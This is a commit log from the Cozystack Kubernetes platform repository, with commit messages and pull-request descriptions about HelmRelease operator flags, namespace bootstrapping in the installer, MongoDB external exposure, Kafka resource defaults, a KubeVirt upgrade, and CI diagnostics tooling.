Commit Graph
3601 Commits
Author SHA1 Message Date
Arsolitt c65dbfbe39 fix(vm-disk): remove bind.immediate.requested annotation for upload source
The upload source unconditionally set the
cdi.kubevirt.io/storage.bind.immediate.requested annotation, which
bypasses WaitForFirstConsumer and may provision the DataVolume on a
node that does not satisfy the VM's node affinity constraints.

With the dependencyMappings feature ensuring VMInstance HelmRelease
depends on VMDisk HelmRelease, WFFC binding is triggered by the VM
pod itself — the annotation is no longer needed.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-05-06 21:06:11 +03:00
Arsolitt af0468cca4 feat(api): add dependencyMappings to ApplicationDefinition for HelmRelease dependsOn
Introduce a new dependencyMappings field in ApplicationDefinition that
allows platform operators to declare how HelmRelease dependsOn entries
should be constructed from application spec values at runtime.

When a spec field matches a configured mapping, the operator resolves the
referenced application's HelmRelease name and injects it as a dependsOn
entry in the owning HelmRelease. This enables correct WaitForFirstConsumer
ordering without hard-coding release names.

The immediate use case is VMInstance: its disk references are mapped so
each VMDisk's HelmRelease is listed as a dependency, ensuring disks are
fully provisioned before the VM starts.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-05-06 20:51:39 +03:00
myasnikovdaniil 7520967d8d feat(operator): expose HelmRelease generation knobs (interval, retry-interval, timeouts, max-history) (#2509)
## Why

The `cozystack-operator` Package reconciler builds every `HelmRelease`
it generates with a handful of hardcoded values. Three of those have
caused recurring pain across the project:

- **`Spec.Interval = 5m`** (line 220 before this PR) — too long for E2E
install where dependent HRs reconcile out of order; previously addressed
by a manual `flux reconcile --force` workaround in
`hack/e2e-install-cozystack.bats`.
- **`Install.Remediation{Retries: -1}` + `Upgrade.Remediation{Retries:
-1}`** — semantically "retry forever, never remediate", but the
retry-on-failure timing was tied to `Spec.Interval` (5m). Audit of the
last 30 successful PR runs found that **every** run hit `kubectl wait
hr/seaweedfs-system` timeouts at the 2-min mark, recovering only after
the inline `flux reconcile --force` workaround.
- **`Install.Timeout = 10m` / `Upgrade.Timeout = 10m`** — directly
contradicts the per-Application timeout work in `pkg/config/config.go` +
`pkg/registry/apps/application/rest.go` (commit `7b146cbe`).
`packages/apps/tenant/templates/etcd.yaml` hand-rolls its HR YAML to
bypass this for cert rotation; harbor has had multiple commits chasing
the same problem.
- **`Spec.MaxHistory`** unset → Helm default 5. Test clusters bounce HRs
frequently and accumulate release-history Secrets.

This PR exposes all four as operator flags + helm chart values, with
defaults that preserve current behavior.

## What

### New operator flags

| Flag | Default | HR field |
|---|---|---|
| `--helmrelease-interval` | `5m` | `Spec.Interval` |
| `--helmrelease-retry-interval` | `30s` |
`Spec.{Install,Upgrade}.Strategy.RetryInterval` |
| `--helmrelease-install-timeout` | `10m` | `Spec.Install.Timeout` |
| `--helmrelease-upgrade-timeout` | `10m` | `Spec.Upgrade.Timeout` |
| `--helmrelease-max-history` | `5` | `Spec.MaxHistory` |

### Strategy switch

`Install.Strategy.Name` and `Upgrade.Strategy.Name` are now set to
`RetryOnFailure` (instead of leaving the default `RemediateOnFailure`),
with `RetryInterval` set from the new flag. Functionally equivalent to
the previous `Remediation{Retries:-1}` ("retry forever") since
remediation never fired anyway, but **decouples retry-on-failure timing
from `Spec.Interval`** so failed releases recover at 30s without polling
healthy releases at the same fast cadence.

### Chart exposure

`packages/core/installer/values.yaml` gets five new optional values
(`cozystackOperator.helmRelease{Interval,RetryInterval,InstallTimeout,UpgradeTimeout,MaxHistory}`),
each defaulting to empty so the operator's own default applies. The
chart conditionally renders the corresponding flag only when the value
is set.

## Production safety

- All static defaults match the previous hardcoded values (5m / 10m /
10m / 5). No new code path runs until an admin explicitly sets a flag.
- **One intentional behavior change: failed-release retry cadence**
drops from ~5m (previously coupled to `Spec.Interval`) to 30s
(`RetryInterval` default). This is the whole motivation for the strategy
switch — the recurring `kubectl wait hr/seaweedfs-system` flakes
documented above were caused by the previous coupling. Healthy-release
reconcile cadence is unchanged at 5m in production; CI overrides this to
30s via `--set cozystackOperator.helmReleaseInterval=30s` in
`hack/e2e-install-cozystack.bats` for faster convergence on E2E
clusters.
- `RetryOnFailure` is functionally equivalent to `RemediateOnFailure +
Retries:-1` since neither ever triggers remediation.
- Empty value in the chart → flag not rendered → operator falls back to
its built-in default. (`helmReleaseMaxHistory: 0` — unlimited history
per Helm semantics — is also honored; the chart guards on `ne (toString
…) ""` rather than truthiness so int `0` is not silently dropped.)

## Verification

- `go build ./...` clean
- `go test ./internal/operator/...` passes (covers `Interval`,
`MaxHistory`, `Install/Upgrade.Timeout`, `Strategy.Name`,
`RetryInterval`, `ChartRef` propagation, plus a regression test for
`MaxHistory=0`)
- `helm template installer packages/core/installer` renders cleanly with
default and overridden values; `--set
cozystackOperator.helmReleaseMaxHistory=0` correctly emits
`--helmrelease-max-history=0`

## Followups (deliberately not bundled)

- **Per-component timeout overrides** on `ComponentInstall` (mirroring
the `UpgradeCRDs` pattern from #2427). Charts like etcd that need a 30m
timeout would set it on their `Component` rather than tuning a global
flag. Touches the Package CR API + codegen — bigger lift, separate PR.
- **`Remediation.Retries` as a flag.** No current pain; skip.
- **`createOrUpdateHelmRelease` field preservation.** Currently
preserves `Suspend` but not `Test`/`Rollback`/`Uninstall`. Would
silently overwrite an SRE's manual edit. Minor cleanliness, separate PR.

## Test plan

- [ ] CI passes E2E with `helmReleaseInterval=30s` set in install bats
(existing T1 test path)
- [ ] No regression on production install path (default values)
- [ ] HR objects in a healthy cluster render with
`Strategy.Name=RetryOnFailure` and `RetryInterval=30s`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Operator and Helm chart now accept CLI flags and Helm values to
configure HelmRelease reconciliation intervals, retry behavior,
install/upgrade timeouts, and history retention.

* **Bug Fixes**
* Operator now validates HelmRelease timing/history inputs on startup
and will exit if values are invalid or non-positive.

* **Tests**
* Added unit and e2e coverage to verify HelmRelease configuration and a
chart install path using a custom reconciliation interval.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-05 14:35:00 +05:00
myasnikovdaniil 086e9bb35b fix(installer): bootstrap cozy-system via --create-namespace + label hook (#2508)
## Why

helm v3 has a chicken-and-egg with charts that ship their own Namespace
resource:

- **With `--create-namespace`** on the install: helm pre-creates the
namespace via plain kubectl-create (no helm meta annotations); the
chart's own Namespace apply then fails with `already exists`.
- **Without `--create-namespace`**: helm fails immediately because it
can't write its release-secret to a non-existent namespace.

The cozy-installer chart shipped a `Namespace cozy-system` resource
since the chart's introduction (December 2025). Every cold install since
has hit this conflict. It was masked by the 3× retry on `Install
Cozystack` in `.github/workflows/pull-requests.yaml`: attempt 1 fails
with the conflict, attempt 2 sees the existing failed release and takes
the upgrade code path which patch-merges instead of strict-create.

Surfaced when retries on the install step were dropped.

## What

- Remove `Namespace cozy-system` from
`packages/core/installer/templates/cozystack-operator.yaml`.
- Add `packages/core/installer/templates/cozy-system-labels.yaml`: a
pre-install/pre-upgrade hook (ServiceAccount + ClusterRole +
ClusterRoleBinding + Job) that patches `cozystack.io/system=true` and
`pod-security.kubernetes.io/enforce=privileged` onto the namespace.
- Hook RBAC is scoped to `verbs: [get, patch]` on `resourceNames:
[cozy-system]` only.
- `hook-delete-policy: before-hook-creation,hook-succeeded` so the hook
surface only exists during install/upgrade.

Install commands now use `helm upgrade --install --namespace cozy-system
--create-namespace …` — standard pattern, matches kube-prometheus-stack
/ argo-cd / cert-manager.

## Verification

End-to-end on a kind cluster:
- Cold install: 3.3s clean, no retries needed
- Upgrade (re-run): 3.0s, idempotent, namespace stays labeled
- Helm uninstall + re-install: clean

## Test plan

- [ ] CI on this PR passes E2E
- [ ] Existing clusters: namespace already labeled correctly, hook
re-asserts on next upgrade — no migration needed

```release-note
fix(installer): cold installs no longer fail on the chart's Namespace resource colliding with `helm --create-namespace`; cozy-system is now bootstrapped via a pre-install hook.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an automated pre-install/pre-upgrade step that applies system
identity and pod-security labels to the system namespace during
deployment, run in a hardened one-shot task before normal workloads
start.

* **Chores**
* Separated namespace initialization from the operator install flow so
the operator no longer renders or retains the system namespace directly,
improving installation sequencing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-05 14:25:44 +05:00
Andrei Kvapil 90b3719f6a fix(mongodb): expose replica-set members per pod for external access (#2514) (#2522)
## What this PR does

Fixes #2514.

When `external: true` is set on a non-sharded `MongoDB`, Cozystack
rendered a single
`LoadBalancer` Service whose selector matched **all** replica-set
members
(`app.kubernetes.io/replset: rs0`). Round-robin balancing sent ~⅔ of
writes to
secondaries and they were rejected with `MongoServerError: not primary`.

Drivers couldn't recover on their own either: connecting through the LB
returned
the in-cluster DNS names of all members from `isMaster`, none of which
resolve
from outside the cluster, so automatic primary discovery failed.

This PR replaces the manual `external-svc.yaml` (for replica-set mode)
with the
Percona MongoDB operator's native `replsets[].expose` feature:

```yaml
replsets:
  - name: rs0
    expose:
      enabled: true
      type: LoadBalancer
      externalTrafficPolicy: Local
```

The operator then:
- creates one `LoadBalancer` Service **per pod** (`<release>-rs0-0`,
`-1`, `-2`)
  with `statefulset.kubernetes.io/pod-name` selectors,
- watches `Service.status.loadBalancer.ingress` for each pod and
rewrites the
  member `host` in `rs.conf` to the external IPs.

External clients use a standard replica-set URI
(`mongodb://...:27017,...:27017,...:27017/?replicaSet=rs0`) and the
driver
discovers the primary correctly from outside the cluster.

For **sharded** mode the existing single `LoadBalancer` is preserved —
it
front-ends stateless `mongos`, which can route writes to the right shard
primary itself. `external-svc.yaml` is now scoped to that case only.

### Tested

- `helm unittest .` in `packages/apps/mongodb/`: 91/91 pass.
- Applied on a dev stand:
  - `replsets[0].expose` is set as expected in the rendered PSMDB CR.
- The Percona operator (`v1.21.1`) accepts the spec and creates 3
per-pod
    `LoadBalancer` Services with `statefulset.kubernetes.io/pod-name`
selectors. The previous single round-robin Service is no longer
rendered.
- With an LB IP pool present, the operator promotes the allocated LB IPs
into
    the PSMDB `status.host` field and into `rs.conf`.

End-to-end mongosh write loop wasn't run on the dev stand because the
underlying network does not advertise/route allocated LoadBalancer IPs
(no
working L2/BGP path), so the rewritten `rs.conf` members are unreachable
in
that environment. The structural change is otherwise fully verified and
the
issue's reproduction scenario expects a real LB-capable network.

### Release note

```release-note
fix(mongodb): expose each replica-set member through its own LoadBalancer when `external: true`, so external clients can discover the primary via the standard replica-set connection string and writes no longer fail with "not primary" errors.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* External LoadBalancer services now only render when both external and
sharding are enabled.
* Replica set external exposure is now conditional based on the external
setting.
* Service configuration now uses LoadBalancer type with Local traffic
policy for external access.
* Service selectors refined for proper mongos targeting in sharded
deployments.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 20:40:58 +02:00
Andrei Kvapil 0b70197bf1 fix(kafka): bump default resourcesPreset to medium (#2537)
## What this PR does

Changes the default `resourcesPreset` for both `kafka` and `zookeeper`
in the Kafka managed application from `small` (1 CPU / 512Mi) to
`medium` (1 CPU / 1Gi).

The `small` preset is no longer sufficient for the current Strimzi 0.45
/ Kafka 3.9 image baseline:

- Strimzi sets JVM heap to 50% of the container memory limit for Kafka
and 75% for ZooKeeper. With a 512Mi limit that leaves only 256Mi (Kafka)
or 128Mi (ZooKeeper) for the JVM non-heap.
- Actual non-heap usage in the Kafka 3.9 image (Metaspace, code cache,
direct buffers, JMX javaagent, embedded Jetty admin server for
`/v1/ready` and KRaft migration endpoints, thread stacks) systematically
exceeds those budgets at startup, triggering a cgroup OOM kill (exit
137) before the broker can connect to ZooKeeper.

Result on a fresh deployment with the previous default: every Kafka
broker and every ZooKeeper pod ends up in `CrashLoopBackOff`, with
`lastState.terminated.reason: OOMKilled`. ZooKeeper occasionally hits
`OOMKilled` once quorum traffic ramps up, breaking the quorum and
causing Kafka brokers to fail with `ZooKeeperClientTimeoutException`.

The `medium` preset (1Gi) is the smallest preset that gives both Kafka
(heap 512Mi + ~500Mi non-heap budget) and ZooKeeper (heap 768Mi + 256Mi
non-heap budget) enough headroom to start cleanly. Users who need more
can still pick `large`, `xlarge`, or `2xlarge`, or override `resources`
explicitly.

The `small` preset is intentionally kept in the enum so existing
deployments that pin `resourcesPreset: small` are not broken; only the
default changes.

### Release note

```release-note
fix(kafka): default `resourcesPreset` for both Kafka and ZooKeeper is now `medium` (1 CPU / 1Gi). The previous default (`small`, 512Mi) is no longer sufficient under the current Strimzi 0.45 / Kafka 3.9 image and caused OOMKilled CrashLoopBackOff on fresh deployments. Existing deployments that explicitly set `resourcesPreset` are unaffected.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated default resource allocation preset from "small" to "medium"
for Kafka and ZooKeeper components across CRD type definitions, Helm
chart values, and JSON schema configurations.

* **Documentation**
* Updated parameter reference tables to reflect the new default resource
preset values for both Kafka and ZooKeeper.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 20:40:13 +02:00
Andrei Kvapil 0a3a5039d4 fix(kubevirt-operator): move PrometheusRule to Helm-rendered template (#2543)
## What this PR does

Move `alerts/PrometheusRule.yaml` from raw-file loading (via
`.Files.Glob` in
`templates/alerts.yaml`) to a proper Helm-rendered template
`templates/prometheusrule.yaml`.

The raw-file approach silently passed unescaped `{{ $labels.xxx }}` to
Kubernetes unchanged, which worked by accident. As a Helm template,
those
expressions must be escaped with `{{ "{{" }}` to prevent Helm from
trying
to evaluate them as Go template variables.

Also removes `templates/alerts.yaml` which became dead code once the
`alerts/` directory is empty.

### Release note

\`\`\`release-note
fix(kubevirt-operator): move PrometheusRule alerts to Helm-rendered
template and escape Prometheus template variables
\`\`\`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Reorganized alert configuration structure for VM and VMI monitoring.
Alerts that trigger when virtual machines or machine instances remain in
a non-running state for 10 minutes are now managed through an updated
template-based approach, consolidating alert definitions while
maintaining the same monitoring behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 20:38:44 +02:00
Andrei Kvapil 87f2f64414 chore(kubevirt-operator): update to v1.8.2 (#2502)
## What this PR does

Updates KubeVirt operator from v1.6.3 to v1.8.2.

This update brings:
- New CRD fields for changed block tracking (required for
storage-agnostic backups)
- Architecture support updates (s390x support, ppc64le deprecated)
- Updated operator manifest with latest capabilities

The standalone ServiceMonitor and alerts templates were removed as they
are now integrated into the main operator manifest.

### Screenshots

N/A - infrastructure component update

### Release note

\`\`\`release-note
chore(kubevirt-operator): update to v1.8.2

Updated KubeVirt operator from v1.6.3 to v1.8.2, adding support for
changed block tracking and latest architectural improvements.
\`\`\`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added new configuration fields for changed block tracking, feature
gate management, hypervisors, and VM backups.

* **Chores**
  * Upgraded KubeVirt operator to v1.8.2.
  * Updated RBAC permissions and cluster access policies.
* Removed Prometheus monitoring integration and alert template
processing.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 20:38:12 +02:00
Myasnikov Daniil 7d292eb187 chore(e2e): drop seaweedfs/monitoring flux-reconcile workaround
With Strategy=RetryOnFailure + RetryInterval=30s plus the bats
--set cozystackOperator.helmReleaseInterval=30s override, the existing
2m wait converges without the manual flux reconcile --force band-aid.
Removing the workaround turns CI itself into the test of the fix.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 22:13:45 +05:00
Myasnikov Daniil 730037c85d fix(installer): address review feedback on cozy-system bootstrap
- Bump alpine/k8s to 1.33.4 (was 1.32.0, EOL); matches in-tree pin used
  by cozystack-api, seaweedfs, vm-disk, and vm-instance hooks.
- Skip hostNetwork=true and not-ready/CNI tolerations on the hosted
  variant: managed clusters provide CNI before install, and kube-system
  may carry strict PSA there that would reject hostNetwork pods.
- Add packages/core/installer/templates/cozy-system-namespace.yaml gated
  on .Values.bareNamespace (default false). The top-level Makefile's
  manifests target now passes --set bareNamespace=true and renders
  Namespace + operator into _out/assets/cozystack-operator-*.yaml so
  the kubectl-apply install path stays self-contained. Helm
  install/upgrade callers keep the default and bootstrap via
  --create-namespace + the pre-install labeler hook.
- Add a bats assertion in hack/e2e-install-cozystack.bats checking
  cozy-system carries pod-security.kubernetes.io/enforce=privileged and
  cozystack.io/system=true after helm install.
- Inline comment near hostNetwork=true documenting why dnsPolicy left
  at Default (cluster DNS not up at install time;
  ClusterFirstWithHostNet would not help).

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 22:13:39 +05:00
Myasnikov Daniil 929c623af1 test(operator): assert Install/Upgrade Remediation stays nil
helm-controller's XValidation rule rejects Strategy.Name=RetryOnFailure
with RetryInterval set alongside a Remediation entry, so a future
"for safety" reintroduction of Remediation{Retries: -1} would silently
break every HR. Pin the deliberate omission.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 22:13:38 +05:00
Myasnikov Daniil d0e4b4dbe5 refactor(operator): extract parsePositiveDuration into testable helper
The previous closure inside main() couldn't be tested because every error
path called os.Exit(1). Lifting it to a package-level function returning
(time.Duration, error) lets a table test exercise happy paths and rejections
("0s", "-5m", "5x", empty input) directly. main() retains the os.Exit
behaviour via a thin wrapper.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 22:13:29 +05:00
Myasnikov Daniil 266465b410 fix(operator): copy MaxHistory to local before taking address
Avoid pointer aliasing across all generated HelmReleases. r.HelmReleaseMaxHistory
is set once at startup today, but a future mutation through the field would
silently affect every in-flight HelmReleaseSpec.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 22:13:21 +05:00
myasnikovdaniil d9023c9b15 feat(cozyreport): collect Flux/cert-manager/host context + summary.txt (#2553)
## What this PR does

Makes `cozyreport.tgz` actually useful when triaging an E2E failure
deeper than a single pod log. Adds:

- Flux controller logs (helm-controller, source-controller,
notification-controller, kustomize-controller, last 2000 lines each)
- Flux source resources (`HelmRepository`, `OCIRepository`,
`GitRepository`, `ExternalArtifact`)
- Decoded Helm storage secrets for non-Ready HRs (`base64 -d | base64 -d
| gzip -d`)
- Cluster events (all + warning-only filtered file)
- cert-manager `Certificate` / `CertificateRequest` / `Order` /
`Challenge` resources + cert-manager logs
- `cozystack-operator` deployment logs (current + previous)
- `Application` / `ApplicationDefinition` / `Tenant` resources
- Sandbox host context per node: `df`, `free`, `ps`, `dmesg`, `talosctl
logs/dmesg/kubelet/containerd`

New executable `hack/cozyreport-summary.sh` writes a `summary.txt` at
the archive root listing what is broken right now — the first thing to
read when downloading the artifact from a CI failure.

Surfaced from #2500.

### Release note

```
NONE
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a timestamped diagnostic summary report that highlights failing
resources and key cluster issues.
* Expanded diagnostic collection: controller logs (current+previous),
Flux source status, cert-manager certificate details, Helm release
payloads, and Cozystack resource status.
* Added host-level diagnostics (disk/memory/process/dmesg) and improved
event/warning listings to aid troubleshooting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 20:39:44 +05:00
myasnikovdaniil 36dbd6b27c test(tests): pre-pull timing-sensitive platform images before install (#2556)
## What this PR does

Some workloads (kube-ovn raft, LINSTOR controller / piraeus-server) fail
when replicas start at materially different times due to image-pull
stagger across nodes. Adds a DaemonSet-based pre-pull step that runs
before `helm install`, ensuring every node has the images cached so
replicas start within milliseconds of each other.

`hack/e2e-prepull-images.sh` accepts image refs on stdin and creates one
container per image so pulls run in parallel — total time = max(any
single image) rather than sum. The bats test sources image refs directly
from the rendered platform charts via `yq`, walking only PodSpec-shaped
objects, so version bumps stay in sync without a hardcoded list.

Surfaced from #2500.

### Release note

```
NONE
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Tests**
* Added an end-to-end test that pre-pulls platform container images
before the installation workflow to improve install reliability.

* **Chores**
* Added an automated pre-pull utility that reads image lists,
deduplicates and sorts them, deploys a short-lived pre-puller across
nodes, waits for completion, then cleans up.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 18:52:11 +05:00
myasnikovdaniil 6ad5bf0bbf fix(objectstorage-controller): retry on Bucket conflict during BucketAccess reconcile (#2529)
## What this PR does

Carries an upstream-bound patch against COSI v0.2.2's BucketAccess
sidecar reconciler so it survives the optimistic-concurrency race with
the central Bucket reconciler running in the same process.

In `sidecar/pkg/bucketaccess/bucketaccess_controller.go`, the `Add` path
does:

```go
bucket, _ := buckets().Get(...)
// ...
if controllerutil.AddFinalizer(bucket, BABucketFinalizer) {
    buckets().Update(ctx, bucket, ...)   // <-- 409 here
}
```

Between `Get` and `Update` the Bucket reconciler in the same binary can
mutate the object and bump `resourceVersion`, producing:

```
Operation cannot be fulfilled on buckets.objectstorage.k8s.io "bucket-...":
the object has been modified; please apply your changes to the latest
version and try again
```

surfaced to users as a `FailedGrantAccess` event on the BucketAccess.

This patch wraps the Bucket finalizer add in
`retry.RetryOnConflict(retry.DefaultRetry, ...)` and re-`Get`s the
Bucket inside the closure so each retry mutates the freshest version.

Patch is held as `91-bucketaccess-conflict-retry.diff` and consumed at
image build time (re-introduces `git` to the source stage and the `COPY
patches /patches` + `git apply /patches/*.diff` steps that existed
before `c29d501b` dropped them when 89/90 were upstreamed). The
convention is identical: drop the local patch the moment the upstream PR
merges and ships in a tagged release.

### Release note

~~~release-note
[objectstorage-controller] Carry a patch that retries on Bucket update
conflict during BucketAccess reconcile, eliminating the "object has been
modified" FailedGrantAccess event seen in CI.
~~~

## Test plan

- [x] `make image` for `system/objectstorage-controller` and verify
`values.yaml` picks up the new digest.
- [x] Re-run the cozystack-e2e suite that emitted the
`FailedGrantAccess: ... object has been modified` event on
`tenant-test/BucketAccess/bucket-test-admin` and confirm it no longer
fires.
- [ ] Verify `kubectl describe bucketaccess` reports
`AccessGranted=true` on first reconcile, no requeue from the conflict
path.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced bucket access update reliability with improved conflict
handling during concurrent operations. The system now automatically
retries operations and refetches data to prevent update conflicts.

* **Chores**
* Improved Docker build process with automatic patch application support
for source customization.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 18:50:38 +05:00
myasnikovdaniil 8fbbef3f02 fix(harbor): drive bucket-secret.yaml from values, gate HR on BucketInfo (#2528)
## Summary
- `cozy-harbor/templates/bucket-secret.yaml` no longer relies on
`lookup` against the BucketAccess credentials Secret. It is now driven
by `.Values.bucket.bucketInfo` (a JSON string) with `dig`-based safe
accessors, so a missing/empty/partial value renders nothing rather than
crashing with `index of untyped nil` (the failure mode that broke harbor
in CI #25049445125).
- The downstream `<release>-system` HelmRelease now sources `BucketInfo`
via `valuesFrom` (`valuesKey: BucketInfo`, `targetPath:
bucket.bucketInfo`). With the default `optional: false`, helm-controller
refuses to compose values until the COSI BucketAccess controller has
populated the Secret — both gating initial reconciliation and forcing a
config-digest change (and thus a helm upgrade) when the credentials
arrive. Flux HR `dependsOn` cannot reference COSI resources directly, so
`valuesFrom` is the correct primitive here.
- `bucket.secretName` was the only consumer of the old `lookup` and is
removed from both the system chart's `values.yaml` default and the apps
chart's `values:` block.

## Why this shape
helm-controller's upgrade trigger is digest-based over composed values +
chart artifact; a `lookup` returning new data on a later reconcile is
not enough to force an upgrade on its own. Routing `BucketInfo` through
`valuesFrom` puts the bucket data on the digest path, so the chart
re-applies the moment credentials become available.

## Test plan
- [x] `helm template` of `packages/system/harbor` with
`bucket.bucketInfo` unset, empty string, empty JSON object `{}`, and
fully populated — only the populated case renders the `*-registry-s3`
Secret; the others render nothing without erroring.
- [x] `helm template` of `packages/apps/harbor` produces the expected
`<release>-system` HR with the new `valuesFrom` entry and the cleaned-up
`values:` block.
- [ ] Re-run the harbor E2E on a fresh stand and confirm 15/15.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Harbor bucket config now comes from a centralized Secret merged into
chart values; in-values bucket entry removed.
* **Bug Fixes**
* Deployment synchronization and Helm upgrade behavior improved by
depending on the Secret’s readiness/contents.
* **Tests**
* Added unit tests covering when the bucket secret is rendered (or not)
and a make target to run those tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 17:21:17 +05:00
Aleksei Sviridkin 7eaafe0b40 fix(mongodb): reclaim PVCs and operator secrets on uninstall (#2525)
## What this PR does

Adds the upstream Percona finalizer pair to the `PerconaServerMongoDB`
custom resource so the operator performs an ordered shutdown and
reclaims persistent storage when a MongoDB release is uninstalled.
Previously, deleting a MongoDB application left PVCs and
operator-managed secrets orphaned in the tenant namespace, requiring
manual cleanup before the same release name could be reused.

The finalizers added on the CR:

- `percona.com/delete-psmdb-pods-in-order` — ensures the primary is shut
down last for graceful cluster termination.
- `percona.com/delete-psmdb-pvc` — instructs the operator to delete PVCs
and operator-managed secrets when the CR is removed.

Coverage applies to all replica sets in both replicaset and sharded
modes, including the config server in sharded deployments.

### Behavior change

Users who previously relied on orphaned PVCs as an implicit "soft
delete" for data recovery should be aware that uninstalling a MongoDB
release now removes the underlying storage and operator-managed
credentials. The README's new "Data lifecycle" section enumerates
exactly which resources are reclaimed by the operator versus by the
standard `helm uninstall`. Take a backup before deletion if data
retention is required.

This resolves cozystack/cozystack#2513.

### Screenshots

Not applicable — no UI changes.

### Release note

```release-note
fix(mongodb): reclaim PVCs and operator-managed secrets on uninstall via Percona finalizers.

WARNING: upgrading scopes the admin credentials secret per release instead of the namespace-shared default. This triggers an in-place rotation of the five operator-managed admin passwords on first reconcile. Pods are not restarted; application user passwords are unaffected. Workloads consuming `<release>-credentials` must be restarted to pick up the new admin passwords.
```

### Out of scope / follow-up

- Bats integration test would require a live cluster with the Percona
MongoDB operator and belongs in the `hack/e2e-*.bats` family — left as a
follow-up.
- Issue #2513 mentions considering similar treatment for
PostgreSQL/MariaDB/Redis/ClickHouse. Each operator has a different
cleanup mechanism; that work is intentionally out of scope here and
should be tracked per-app.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Documentation**
* Expanded uninstall and upgrade guidance: which secrets/pvc remain,
cert-manager TLS secrets must be deleted manually, remediation for
orphaned legacy secret, and recovery steps for stuck deletions when the
operator is removed before CRs.

* **New Features**
  * Added deletion finalizers to enforce controlled teardown.
* User credentials secret now uses a deterministic, release-scoped name.

* **Tests**
* Added chart tests for finalizer behavior (sharded/non‑sharded) and
release-scoped users secret.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 13:18:02 +03:00
Myasnikov Daniil 9df5950731 test(tests): pre-pull timing-sensitive platform images before install
Some workloads (kube-ovn raft, LINSTOR controller / piraeus-server)
fail when replicas start at materially different times due to
image-pull stagger across nodes. Add a DaemonSet-based pre-pull step
that runs before `helm install`, ensuring every node has the images
cached so replicas start within milliseconds of each other.

The script accepts image refs on stdin and creates one container per
image so pulls run in parallel — total time = max(any single image)
rather than sum. The bats test sources image refs directly from the
rendered platform charts via `yq`, walking only PodSpec-shaped
objects, so version bumps stay in sync without a hardcoded list.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
Assisted-By: Claude <noreply@anthropic.com>
2026-05-04 12:09:55 +05:00
Myasnikov Daniil 1dc33dff79 fix(operator): reject non-positive HelmRelease duration flags
time.ParseDuration accepts "0s" and negative values, but Flux
HelmRelease.Interval / Install.Timeout / Strategy.RetryInterval require
strictly positive durations to function. Validate at startup so a
misconfigured flag fails fast instead of propagating into every
generated HelmRelease.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 11:41:35 +05:00
Myasnikov DaniilandClaude Opus 4.7 b40ab290eb fix(cozyreport): portability and Ready-filter fixes from review
- Resolve hack/cozyreport-summary.sh via SCRIPT_DIR so cozyreport.sh
  can be invoked from any working directory, not only the repo root.
- Discover Talos node IPs via `kubectl get nodes` (with the existing
  192.168.123.11-13 list as fallback) instead of hardcoding the E2E
  sandbox topology.
- Replace broken `awk '$NF != "True"'` filter on the cozystack-apps
  loop with a jsonpath check against the Ready condition; the previous
  filter compared AGE ("10m" etc.) against "True" and let every
  resource through, defeating the non-Ready filter.
- Switch the Flux source CRD summary loop from column parsing to
  jsonpath (column positions differ between HelmRepository and
  OCIRepository printer columns) and add ExternalArtifact, matching
  what cozyreport.sh already collects.
- Add `kubectl get crd` guards before HR/source CRD queries so the
  summary script does not abort under `set -eu` when Flux v2 is not
  installed.
- Relabel "OOMKilled in last 30 min" to "Recent OOMKilled events
  (last 20)" — the kubectl call only limits count, not time.

Surfaced from coderabbit and gemini review on #2553.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 11:17:35 +05:00
Myasnikov Daniil 6ca5566391 fix(operator): handle MaxHistory=0 and cover HelmRelease spec build
Chart template now uses `ne (toString …) ""` for the five helmRelease*
knobs, so integer 0 (notably MaxHistory=0 = unlimited history per Helm
semantics, documented in values.yaml) is no longer silently dropped.

Extract buildHelmReleaseSpec from Reconcile and add unit tests
asserting Interval, MaxHistory, Install/Upgrade timeouts,
Strategy=RetryOnFailure, RetryInterval, and ChartRef propagate from
PackageReconciler config to the generated HelmRelease.

